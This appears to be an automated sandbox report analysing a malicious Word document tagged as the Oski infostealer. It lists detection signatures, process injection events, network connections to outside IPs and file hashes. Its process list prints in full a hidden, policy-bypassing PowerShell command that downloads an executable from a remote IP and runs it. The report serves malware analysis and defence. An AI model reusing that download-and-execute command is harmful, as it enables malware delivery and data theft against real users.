Malware Analysis Report

2025-06-16 03:09

Sample ID 210802-eh6n5evz86
Target Swift Mesaji-20210802YPT21-150961.doc
SHA256 c5a7de281ab02afc017d37a36f97b33e6487d67c9cfe4400a544f6b45890919b
Tags
oski infostealer suricata
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c5a7de281ab02afc017d37a36f97b33e6487d67c9cfe4400a544f6b45890919b

Threat Level: Known bad

The file Swift Mesaji-20210802YPT21-150961.doc was found to be: Known bad.

Malicious Activity Summary

oski infostealer suricata

Oski

suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Process spawned unexpected child process

Executes dropped EXE

Blocklisted process makes network request

Downloads MZ/PE file

Loads dropped DLL

Suspicious use of SetThreadContext

Drops file in Windows directory

Office loads VBA resources, possible macro or embedded object present

NTFS ADS

Modifies registry class

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Checks processor information in registry

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2021-08-02 08:55

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-08-02 08:55

Reported

2021-08-02 08:58

Platform

win7v20210410

Max time kernel

142s

Max time network

145s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Swift Mesaji-20210802YPT21-150961.doc"

Signatures

Oski

infostealer oski

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

suricata

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 820 set thread context of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 set thread context of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 set thread context of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2004 wrote to memory of 1476 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 1476 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 1476 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 1476 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 1176 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 1176 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 1176 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 1176 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 924 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 924 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 924 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2004 wrote to memory of 924 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1476 wrote to memory of 1916 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1476 wrote to memory of 1916 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1476 wrote to memory of 1916 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1476 wrote to memory of 1916 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1176 wrote to memory of 384 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1176 wrote to memory of 384 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1176 wrote to memory of 384 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1176 wrote to memory of 384 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 924 wrote to memory of 820 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 924 wrote to memory of 820 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 924 wrote to memory of 820 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 924 wrote to memory of 820 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 2004 wrote to memory of 1052 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2004 wrote to memory of 1052 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2004 wrote to memory of 1052 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2004 wrote to memory of 1052 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 820 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 384 wrote to memory of 972 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe
PID 1916 wrote to memory of 1756 N/A C:\Users\Admin\AppData\Roaming\dms.exe C:\Users\Admin\AppData\Roaming\dms.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Swift Mesaji-20210802YPT21-150961.doc"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/dms/dms.exe','C:\Users\Admin\AppData\Roaming\dms.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\dms.exe'"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/dms/dms.exe','C:\Users\Admin\AppData\Roaming\dms.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\dms.exe'"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/dms/dms.exe','C:\Users\Admin\AppData\Roaming\dms.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\dms.exe'"

C:\Users\Admin\AppData\Roaming\dms.exe

"C:\Users\Admin\AppData\Roaming\dms.exe"

C:\Users\Admin\AppData\Roaming\dms.exe

"C:\Users\Admin\AppData\Roaming\dms.exe"

C:\Users\Admin\AppData\Roaming\dms.exe

"C:\Users\Admin\AppData\Roaming\dms.exe"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Users\Admin\AppData\Roaming\dms.exe

"C:\Users\Admin\AppData\Roaming\dms.exe"

C:\Users\Admin\AppData\Roaming\dms.exe

"C:\Users\Admin\AppData\Roaming\dms.exe"

C:\Users\Admin\AppData\Roaming\dms.exe

"C:\Users\Admin\AppData\Roaming\dms.exe"

Network

Country Destination Domain Proto
N/A 185.230.160.197:80 185.230.160.197 tcp
N/A 185.230.160.197:80 185.230.160.197 tcp
N/A 2.56.59.226:80 2.56.59.226 tcp
N/A 2.56.59.226:80 2.56.59.226 tcp
N/A 2.56.59.226:80 2.56.59.226 tcp
N/A 2.56.59.226:80 2.56.59.226 tcp
N/A 2.56.59.226:80 2.56.59.226 tcp
N/A 2.56.59.226:80 2.56.59.226 tcp
N/A 2.56.59.226:80 2.56.59.226 tcp
N/A 2.56.59.226:80 2.56.59.226 tcp
N/A 2.56.59.226:80 2.56.59.226 tcp

Files

memory/2004-60-0x0000000072FC1000-0x0000000072FC4000-memory.dmp

memory/2004-61-0x0000000070A41000-0x0000000070A43000-memory.dmp

memory/2004-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2004-63-0x00000000765F1000-0x00000000765F3000-memory.dmp

memory/1476-64-0x0000000000000000-mapping.dmp

memory/1476-66-0x0000000002410000-0x0000000002411000-memory.dmp

memory/1476-67-0x00000000045E0000-0x00000000045E1000-memory.dmp

memory/1476-68-0x0000000000C00000-0x0000000000C01000-memory.dmp

memory/1476-69-0x0000000000C02000-0x0000000000C03000-memory.dmp

memory/1476-70-0x0000000004FF0000-0x0000000004FF1000-memory.dmp

memory/1476-71-0x0000000005280000-0x0000000005281000-memory.dmp

memory/1176-72-0x0000000000000000-mapping.dmp

memory/924-73-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 abfa7910bddeef17a380d7dd61932925
SHA1 156c00396c7a6b9c74889341d38b699895ec8e98
SHA256 4ac48cca2f35d6ba66d6b983b0c09854197be8641444a8f87d4f75a25d796ffb
SHA512 d9d633eae977a393ee27fe07b5ae95033167a2717248cfa08ff1e61669e959761a688d308b1cc7702e1a271c1db936a4a00e2444b515937f10fa141c9f2c0f72

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 abfa7910bddeef17a380d7dd61932925
SHA1 156c00396c7a6b9c74889341d38b699895ec8e98
SHA256 4ac48cca2f35d6ba66d6b983b0c09854197be8641444a8f87d4f75a25d796ffb
SHA512 d9d633eae977a393ee27fe07b5ae95033167a2717248cfa08ff1e61669e959761a688d308b1cc7702e1a271c1db936a4a00e2444b515937f10fa141c9f2c0f72

memory/1476-87-0x00000000056D0000-0x00000000056D1000-memory.dmp

memory/1176-93-0x0000000004AC0000-0x0000000004AC1000-memory.dmp

memory/924-96-0x0000000004902000-0x0000000004903000-memory.dmp

memory/1476-97-0x000000007EF30000-0x000000007EF31000-memory.dmp

memory/924-95-0x0000000004900000-0x0000000004901000-memory.dmp

memory/1176-94-0x0000000004AC2000-0x0000000004AC3000-memory.dmp

memory/1476-98-0x00000000060D0000-0x00000000060D1000-memory.dmp

memory/1476-99-0x0000000006120000-0x0000000006121000-memory.dmp

memory/1476-106-0x0000000006240000-0x0000000006241000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9

MD5 b6d38f250ccc9003dd70efd3b778117f
SHA1 d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA256 4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA512 67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 f6b96d84c5c871d1deb89e752480ed37
SHA1 10ddc24b7a7197bc2d061e1d03738aff302b7278
SHA256 bf25a26ae8c9e2aaf9de3a6c3cd87664059a4940ce3250137e241a74b3646b34
SHA512 94989e53123aa18618d063f72a8f56770dabd687fcf96adfdb56d15289eddb99e81d6ff703b75295791320c8d483e10ace18d79aad3228bc83204b18a8940050

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba

MD5 75a8da7754349b38d64c87c938545b1b
SHA1 5c28c257d51f1c1587e29164cc03ea880c21b417
SHA256 bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512 798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

memory/1476-114-0x00000000062B0000-0x00000000062B1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370

MD5 be4d72095faf84233ac17b94744f7084
SHA1 cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256 b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA512 43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598

MD5 5e3c7184a75d42dda1a83606a45001d8
SHA1 94ca15637721d88f30eb4b6220b805c5be0360ed
SHA256 8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512 fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b

MD5 df44874327d79bd75e4264cb8dc01811
SHA1 1396b06debed65ea93c24998d244edebd3c0209d
SHA256 55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA512 95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5

MD5 02ff38ac870de39782aeee04d7b48231
SHA1 0390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256 fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA512 24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c

MD5 a725bb9fafcf91f3c6b7861a2bde6db2
SHA1 8bb5b83f3cc37ff1e5ea4f02acae38e72364c114
SHA256 51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431
SHA512 1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 3b747cd0ecd7966e3d958115dd1a62c9
SHA1 28aee728c6c749ea96d7a5dae70d006d3f0ecccf
SHA256 cc2a71f99cb18306d85208b4bb0f9f514a29d5aa92da48423cb7d015dfd1d0b8
SHA512 61b441b3de4dbd49cbe27ccc3ea7e13a3f03e7798e5d7474d9ad64b14d71e73df0d84d210ff3de72863b39a63807899725abc7c12b18d38facc443c5be186013

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 52349a01b0f8c97e811277b884236a33
SHA1 247af65afff8fad99a4b636f8701ff6c0aabf064
SHA256 ef3c1f27d3767771c2a15307ab7cc9f331df713edb95b29801346da376c5342c
SHA512 087bea4c0bf4a1f7d95ef7cc790ace2ac2b36423574e2f9d0eddb50a7c8af0400bbcdfae666457871e7234802622cfc0926c87c161741b4b046b8bc634e180d6

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb

MD5 597009ea0430a463753e0f5b1d1a249e
SHA1 4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62
SHA256 3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d
SHA512 5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c

MD5 a725bb9fafcf91f3c6b7861a2bde6db2
SHA1 8bb5b83f3cc37ff1e5ea4f02acae38e72364c114
SHA256 51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431
SHA512 1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

memory/1916-123-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Roaming\dms.exe

MD5 3519d9884a37f6e79b9e5f19b97a3d99
SHA1 49d06c39e5664977651d4e16d00ebcad6659917c
SHA256 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a
SHA512 a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060

memory/1916-126-0x0000000000E80000-0x0000000000E81000-memory.dmp

C:\Users\Admin\AppData\Roaming\dms.exe

MD5 3519d9884a37f6e79b9e5f19b97a3d99
SHA1 49d06c39e5664977651d4e16d00ebcad6659917c
SHA256 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a
SHA512 a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060

C:\Users\Admin\AppData\Roaming\dms.exe

MD5 3519d9884a37f6e79b9e5f19b97a3d99
SHA1 49d06c39e5664977651d4e16d00ebcad6659917c
SHA256 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a
SHA512 a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060

memory/1176-129-0x00000000063B0000-0x00000000063B1000-memory.dmp

memory/1916-128-0x0000000005010000-0x0000000005011000-memory.dmp

memory/820-132-0x0000000000000000-mapping.dmp

memory/384-131-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\dms.exe

MD5 3519d9884a37f6e79b9e5f19b97a3d99
SHA1 49d06c39e5664977651d4e16d00ebcad6659917c
SHA256 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a
SHA512 a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060

C:\Users\Admin\AppData\Roaming\dms.exe

MD5 3519d9884a37f6e79b9e5f19b97a3d99
SHA1 49d06c39e5664977651d4e16d00ebcad6659917c
SHA256 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a
SHA512 a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060

